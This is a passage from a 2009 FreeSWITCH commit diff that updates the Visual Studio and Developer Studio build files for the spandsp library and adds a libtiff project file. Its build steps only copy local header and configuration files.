+<File RelativePath="spandsp/t38_gateway.h"></File>
+<File RelativePath="spandsp/t38_non_ecm_buffer.h"></File>
+<File RelativePath="spandsp/t38_terminal.h"></File>
+<File RelativePath="spandsp/telephony.h"></File>
+<File RelativePath="spandsp/time_scale.h"></File>
+<File RelativePath="spandsp/timing.h"></File>
+<File RelativePath="spandsp/tone_detect.h"></File>
+<File RelativePath="spandsp/tone_generate.h"></File>
+<File RelativePath="spandsp/v17rx.h"></File>
+<File RelativePath="spandsp/v17tx.h"></File>
+<File RelativePath="spandsp/v18.h"></File>
+<File RelativePath="spandsp/v22bis.h"></File>
+<File RelativePath="spandsp/v27ter_rx.h"></File>
+<File RelativePath="spandsp/v27ter_tx.h"></File>
+<File RelativePath="spandsp/v29rx.h"></File>
+<File RelativePath="spandsp/v29tx.h"></File>
+<File RelativePath="spandsp/v42.h"></File>
+<File RelativePath="spandsp/v42bis.h"></File>
+<File RelativePath="spandsp/v8.h"></File>
+<File RelativePath="spandsp/vector_float.h"></File>
+<File RelativePath="spandsp/vector_int.h"></File>
+<File RelativePath="spandsp/version.h"></File>
+<File RelativePath="spandsp/private/adsi.h"></File>
+<File RelativePath="spandsp/private/async.h"></File>
+<File RelativePath="spandsp/private/at_interpreter.h"></File>
+<File RelativePath="spandsp/private/awgn.h"></File>
+<File RelativePath="spandsp/private/bell_r2_mf.h"></File>
+<File RelativePath="spandsp/private/bert.h"></File>
+<File RelativePath="spandsp/private/bitstream.h"></File>
+<File RelativePath="spandsp/private/dtmf.h"></File>
+<File RelativePath="spandsp/private/fax.h"></File>
+<File RelativePath="spandsp/private/fax_modems.h"></File>
+<File RelativePath="spandsp/private/fsk.h"></File>
+<File RelativePath="spandsp/private/g711.h"></File>
+<File RelativePath="spandsp/private/g722.h"></File>
+<File RelativePath="spandsp/private/g726.h"></File>
+<File RelativePath="spandsp/private/gsm0610.h"></File>
+<File RelativePath="spandsp/private/hdlc.h"></File>
+<File RelativePath="spandsp/private/ima_adpcm.h"></File>
+<File RelativePath="spandsp/private/logging.h"></File>
+<File RelativePath="spandsp/private/lpc10.h"></File>
+<File RelativePath="spandsp/private/modem_connect_tones.h"></File>
+<File RelativePath="spandsp/private/noise.h"></File>
+<File RelativePath="spandsp/private/oki_adpcm.h"></File>
+<File RelativePath="spandsp/private/queue.h"></File>
+<File RelativePath="spandsp/private/schedule.h"></File>
+<File RelativePath="spandsp/private/sig_tone.h"></File>
+<File RelativePath="spandsp/private/silence_gen.h"></File>
+<File RelativePath="spandsp/private/super_tone_rx.h"></File>
+<File RelativePath="spandsp/private/super_tone_tx.h"></File>
+<File RelativePath="spandsp/private/t30.h"></File>
+<File RelativePath="spandsp/private/t31.h"></File>
+<File RelativePath="spandsp/private/t38_core.h"></File>
+<File RelativePath="spandsp/private/t38_gateway.h"></File>
+<File RelativePath="spandsp/private/t38_non_ecm_buffer.h"></File>
+<File RelativePath="spandsp/private/t38_terminal.h"></File>
+<File RelativePath="spandsp/private/t4.h"></File>
+<File RelativePath="spandsp/private/time_scale.h"></File>
+<File RelativePath="spandsp/private/tone_detect.h"></File>
+<File RelativePath="spandsp/private/tone_generate.h"></File>
+<File RelativePath="spandsp/private/v17rx.h"></File>
+<File RelativePath="spandsp/private/v17tx.h"></File>
+<File RelativePath="spandsp/private/v18.h"></File>
+<File RelativePath="spandsp/private/v22bis.h"></File>
+<File RelativePath="spandsp/private/v27ter_rx.h"></File>
+<File RelativePath="spandsp/private/v27ter_tx.h"></File>
+<File RelativePath="spandsp/private/v29rx.h"></File>
+<File RelativePath="spandsp/private/v29tx.h"></File>
+<File RelativePath="spandsp/private/v42.h"></File>
+<File RelativePath="spandsp/private/v42bis.h"></File>
+<File RelativePath="spandsp/private/v8.h"></File>
+<File RelativePath="spandsp/expose.h"></File>
+<File RelativePath="spandsp.h"></File>
+		</Filter>
+
+		<File
+
+			RelativePath=".\msvc\spandsp.h"
+
+			>
+
+			<FileConfiguration
+
+				Name="Debug|Win32"
+
+				>
+
+				<Tool
+
+					Name="VCCustomBuildTool"
+
+					Description="Copying $(InputPath) to $(ProjectDir)$(InputFileName)"
+
+					CommandLine="copy &quot;$(InputPath)&quot; &quot;$(ProjectDir)$(InputFileName)&quot;"
+
+					Outputs="$(ProjectDir)$(InputFileName)"
+
+				/>
+
+			</FileConfiguration>
+
+			<FileConfiguration
+
+				Name="Release|Win32"
+
+				>
+
+				<Tool
+
+					Name="VCCustomBuildTool"
+
+					Description="Copying $(InputPath) to $(ProjectDir)$(InputFileName)"
+
+					CommandLine="copy &quot;$(InputPath)&quot; &quot;$(ProjectDir)$(InputFileName)&quot;"
+
+					Outputs="$(ProjectDir)$(InputFileName)"
+
+				/>
+
+			</FileConfiguration>
+
+			<FileConfiguration
+
+				Name="Debug|x64"
+
+				>
+
+				<Tool
+
+					Name="VCCustomBuildTool"
+
+					Description="Copying $(InputPath) to $(ProjectDir)$(InputFileName)"
+
+					CommandLine="copy &quot;$(InputPath)&quot; &quot;$(ProjectDir)$(InputFileName)&quot;"
+
+					Outputs="$(ProjectDir)$(InputFileName)"
+
+				/>
+
+			</FileConfiguration>
+
+			<FileConfiguration
+
+				Name="Release|x64"
+
+				>
+
+				<Tool
+
+					Name="VCCustomBuildTool"
+
+					Description="Copying $(InputPath) to $(ProjectDir)$(InputFileName)"
+
+					CommandLine="copy &quot;$(InputPath)&quot; &quot;$(ProjectDir)$(InputFileName)&quot;"
+
+					Outputs="$(ProjectDir)$(InputFileName)"
+
+				/>
+
+			</FileConfiguration>
+
+		</File>
+
+	</Files>
+
+	<Globals>
+
+	</Globals>
+
+</VisualStudioProject>
+

Modified: freeswitch/branches/seven/libs/spandsp/src/libspandsp.dsp (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/libspandsp.dsp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/libspandsp.dsp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,95 +1,95 @@
-# Microsoft Developer Studio Project File - Name="spandsp" - Package Owner=<4>
-# Microsoft Developer Studio Generated Build File, Format Version 6.00
-# ** DO NOT EDIT **
-
-# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102
-
-CFG=spandsp - Win32 Debug
-!MESSAGE This is not a valid makefile. To build this project using NMAKE,
-!MESSAGE use the Export Makefile command and run
-!MESSAGE 
-!MESSAGE NMAKE /f "spandsp.mak".
-!MESSAGE 
-!MESSAGE You can specify a configuration when running NMAKE
-!MESSAGE by defining the macro CFG on the command line. For example:
-!MESSAGE 
-!MESSAGE NMAKE /f "spandsp.mak" CFG="spandsp - Win32 Debug"
-!MESSAGE 
-!MESSAGE Possible choices for configuration are:
-!MESSAGE 
-!MESSAGE "spandsp - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library")
-!MESSAGE "spandsp - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library")
-!MESSAGE 
-
-# Begin Project
-# PROP AllowPerConfigDependencies 0
-# PROP Scc_ProjName ""
-# PROP Scc_LocalPath ""
-CPP=cl.exe
-MTL=midl.exe
-RSC=rc.exe
-
-!IF  "$(CFG)" == "spandsp - Win32 Release"
-
-# PROP BASE Use_MFC 0
-# PROP BASE Use_Debug_Libraries 0
-# PROP BASE Output_Dir "Release"
-# PROP BASE Intermediate_Dir "Release"
-# PROP BASE Target_Dir ""
-# PROP Use_MFC 0
-# PROP Use_Debug_Libraries 0
-# PROP Output_Dir "Release"
-# PROP Intermediate_Dir "Release"
-# PROP Ignore_Export_Lib 0
-# PROP Target_Dir ""
-# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /YX /FD /c
-# ADD CPP /nologo /MT /W3 /GX /Zi /O2 /I "." /I "..\include" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /D "_WINDLL" /FR /FD /c
-# SUBTRACT CPP /YX
-# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
-# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
-# ADD BASE RSC /l 0x409 /d "NDEBUG"
-# ADD RSC /l 0x409 /d "NDEBUG"
-BSC32=bscmake.exe
-# ADD BASE BSC32 /nologo
-# ADD BSC32 /nologo
-LINK32=link.exe
-# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
-# ADD LINK32 kernel32.lib ws2_32.lib winmm.lib /nologo /dll /map /debug /machine:I386 /out:"Release/libspandsp.dll"
-
-!ELSEIF  "$(CFG)" == "spandsp - Win32 Debug"
-
-# PROP BASE Use_MFC 0
-# PROP BASE Use_Debug_Libraries 1
-# PROP BASE Output_Dir "Debug"
-# PROP BASE Intermediate_Dir "Debug"
-# PROP BASE Target_Dir ""
-# PROP Use_MFC 0
-# PROP Use_Debug_Libraries 1
-# PROP Output_Dir "Debug"
-# PROP Intermediate_Dir "Debug"
-# PROP Ignore_Export_Lib 0
-# PROP Target_Dir ""
-# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /YX /FD /GZ /c
-# ADD CPP /nologo /MTd /W3 /Gm /GX /Zi /Od /I "." /I "..\include" /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /FR /FD /GZ /c
-# SUBTRACT CPP /WX /YX
-# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
-# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
-# ADD BASE RSC /l 0x409 /d "_DEBUG"
-# ADD RSC /l 0x409 /d "_DEBUG"
-BSC32=bscmake.exe
-# ADD BASE BSC32 /nologo
-# ADD BSC32 /nologo
-LINK32=link.exe
-# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
-# ADD LINK32 kernel32.lib ws2_32.lib winmm.lib /nologo /dll /incremental:no /map /debug /machine:I386 /out:"Debug/libspandsp.dll" /pdbtype:sept
-# SUBTRACT LINK32 /nodefaultlib
-
-!ENDIF 
-
-# Begin Target
-
-# Name "spandsp - Win32 Release"
-# Name "spandsp - Win32 Debug"
+# Microsoft Developer Studio Project File - Name="spandsp" - Package Owner=<4>
+# Microsoft Developer Studio Generated Build File, Format Version 6.00
+# ** DO NOT EDIT **
+
+# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102
+
+CFG=spandsp - Win32 Debug
+!MESSAGE This is not a valid makefile. To build this project using NMAKE,
+!MESSAGE use the Export Makefile command and run
+!MESSAGE 
+!MESSAGE NMAKE /f "spandsp.mak".
+!MESSAGE 
+!MESSAGE You can specify a configuration when running NMAKE
+!MESSAGE by defining the macro CFG on the command line. For example:
+!MESSAGE 
+!MESSAGE NMAKE /f "spandsp.mak" CFG="spandsp - Win32 Debug"
+!MESSAGE 
+!MESSAGE Possible choices for configuration are:
+!MESSAGE 
+!MESSAGE "spandsp - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE "spandsp - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE 
+
+# Begin Project
+# PROP AllowPerConfigDependencies 0
+# PROP Scc_ProjName ""
+# PROP Scc_LocalPath ""
+CPP=cl.exe
+MTL=midl.exe
+RSC=rc.exe
+
+!IF  "$(CFG)" == "spandsp - Win32 Release"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 0
+# PROP BASE Output_Dir "Release"
+# PROP BASE Intermediate_Dir "Release"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 0
+# PROP Output_Dir "Release"
+# PROP Intermediate_Dir "Release"
+# PROP Ignore_Export_Lib 0
+# PROP Target_Dir ""
+# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /YX /FD /c
+# ADD CPP /nologo /MT /W3 /GX /Zi /O2 /I "." /I "..\include" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /D "_WINDLL" /FR /FD /c
+# SUBTRACT CPP /YX
+# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "NDEBUG"
+# ADD RSC /l 0x409 /d "NDEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LINK32=link.exe
+# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
+# ADD LINK32 kernel32.lib ws2_32.lib winmm.lib /nologo /dll /map /debug /machine:I386 /out:"Release/libspandsp.dll"
+
+!ELSEIF  "$(CFG)" == "spandsp - Win32 Debug"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 1
+# PROP BASE Output_Dir "Debug"
+# PROP BASE Intermediate_Dir "Debug"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 1
+# PROP Output_Dir "Debug"
+# PROP Intermediate_Dir "Debug"
+# PROP Ignore_Export_Lib 0
+# PROP Target_Dir ""
+# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /YX /FD /GZ /c
+# ADD CPP /nologo /MTd /W3 /Gm /GX /Zi /Od /I "." /I "..\include" /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /FR /FD /GZ /c
+# SUBTRACT CPP /WX /YX
+# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "_DEBUG"
+# ADD RSC /l 0x409 /d "_DEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LINK32=link.exe
+# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
+# ADD LINK32 kernel32.lib ws2_32.lib winmm.lib /nologo /dll /incremental:no /map /debug /machine:I386 /out:"Debug/libspandsp.dll" /pdbtype:sept
+# SUBTRACT LINK32 /nodefaultlib
+
+!ENDIF 
+
+# Begin Target
+
+# Name "spandsp - Win32 Release"
+# Name "spandsp - Win32 Debug"
 # Begin Group "Source Files"
 # Begin Source File
 
@@ -161,6 +161,10 @@
 # End Source File
 # Begin Source File
 
+SOURCE=.\fax_modems.c
+# End Source File
+# Begin Source File
+
 SOURCE=.\fsk.c
 # End Source File
 # Begin Source File
@@ -353,6 +357,10 @@
 # End Source File
 # Begin Source File
 
+SOURCE=.\v18.c
+# End Source File
+# Begin Source File
+
 SOURCE=.\v22bis_rx.c
 # End Source File
 # Begin Source File
@@ -397,7 +405,7 @@
 # End Source File
 # Begin Source File
 
-SOURCE=.\msvc/gettimeofday.c
+SOURCE=.\.\msvc\gettimeofday.c
 # End Source File
 # End Group
 # Begin Group "Header Files"
@@ -479,6 +487,10 @@
 # End Source File
 # Begin Source File
 
+SOURCE=.\spandsp/fast_convert.h
+# End Source File
+# Begin Source File
+
 SOURCE=.\spandsp/fax.h
 # End Source File
 # Begin Source File
@@ -659,6 +671,10 @@
 # End Source File
 # Begin Source File
 
+SOURCE=.\spandsp/v18.h
+# End Source File
+# Begin Source File
+
 SOURCE=.\spandsp/v22bis.h
 # End Source File
 # Begin Source File
@@ -703,13 +719,220 @@
 # End Source File
 # Begin Source File
 
+SOURCE=.\spandsp/private/adsi.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/async.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/at_interpreter.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/awgn.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/bell_r2_mf.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/bert.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/bitstream.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/dtmf.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/fax.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/fax_modems.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/fsk.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/g711.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/g722.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/g726.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/gsm0610.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/hdlc.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/ima_adpcm.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/logging.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/lpc10.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/modem_connect_tones.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/noise.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/oki_adpcm.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/queue.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/schedule.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/sig_tone.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/silence_gen.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/super_tone_rx.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/super_tone_tx.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/t30.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/t31.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/t38_core.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/t38_gateway.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/t38_non_ecm_buffer.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/t38_terminal.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/t4.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/time_scale.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/tone_detect.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/tone_generate.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/v17rx.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/v17tx.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/v18.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/v22bis.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/v27ter_rx.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/v27ter_tx.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/v29rx.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/v29tx.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/v42.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/v42bis.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/private/v8.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/expose.h
+# End Source File
+# Begin Source File
+
 SOURCE=.\spandsp.h
 # End Source File
 # End Group
+
 
-# Begin Group "Resource Files"
+# Begin Group "Resource Files"
 
-# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
-# End Group
-# End Target
-# End Project
+
+
+# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
+
+# End Group
+
+# End Target
+
+# End Project
+

Deleted: freeswitch/branches/seven/libs/spandsp/src/libspandsp.sln

Deleted: freeswitch/branches/seven/libs/spandsp/src/libspandsp.vcproj

Copied: freeswitch/branches/seven/libs/spandsp/src/libtiff.2005.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/src/libtiff.2005.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/libtiff.2005.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/libtiff.2005.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,352 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="libtiff"
+	ProjectGUID="{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}"
+	RootNamespace="libtiff"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="if not exist &quot;$(ProjectDir)../../tiff-3.8.2/libtiff/tiffconf.h&quot; copy &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tiffconf.h.vc&quot; &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tiffconf.h&quot; /Y&#x0D;&#x0A;if not exist &quot;$(ProjectDir)../../tiff-3.8.2/libtiff/tif_config.h&quot; copy &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tif_config.h.vc&quot; &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tif_config.h&quot; /Y&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="."
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;FILLODER_LSB2MSB;TIF_PLATFORM_CONSOLE;CCITT_SUPPORT;PACKBITS_SUPPORT;LZW_SUPPORT;THUNDER_SUPPORT;NEXT_SUPPORT;LOGLUV_SUPPORT;TRIPCHOP_DEFAULT=TIFF_STRIPCHOP;STRIP_SIZE_DEFAULT=8192;DEFAULT_EXTRASAMPLE_AS_ALPHA;CHECK_JPEG_YCBCR_SUBSAMPLING;AVOID_WIN32_FILEIO"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="0"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="if not exist &quot;$(ProjectDir)../../tiff-3.8.2/libtiff/tiffconf.h&quot; copy &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tiffconf.h.vc&quot; &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tiffconf.h&quot; /Y&#x0D;&#x0A;if not exist &quot;$(ProjectDir)../../tiff-3.8.2/libtiff/tif_config.h&quot; copy &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tif_config.h.vc&quot; &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tif_config.h&quot; /Y&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="."
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;FILLODER_LSB2MSB;TIF_PLATFORM_CONSOLE;CCITT_SUPPORT;PACKBITS_SUPPORT;LZW_SUPPORT;THUNDER_SUPPORT;NEXT_SUPPORT;LOGLUV_SUPPORT;TRIPCHOP_DEFAULT=TIFF_STRIPCHOP;STRIP_SIZE_DEFAULT=8192;DEFAULT_EXTRASAMPLE_AS_ALPHA;CHECK_JPEG_YCBCR_SUBSAMPLING;AVOID_WIN32_FILEIO"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_aux.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_close.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_codec.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_color.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_compress.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_dir.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_dirinfo.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_dirread.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_dirwrite.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_dumpmode.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_error.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_extension.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_fax3.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_fax3sm.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_flush.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_getimage.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_jpeg.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_luv.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_lzw.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_next.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_ojpeg.c"
+				>
+			</File>
+			<File
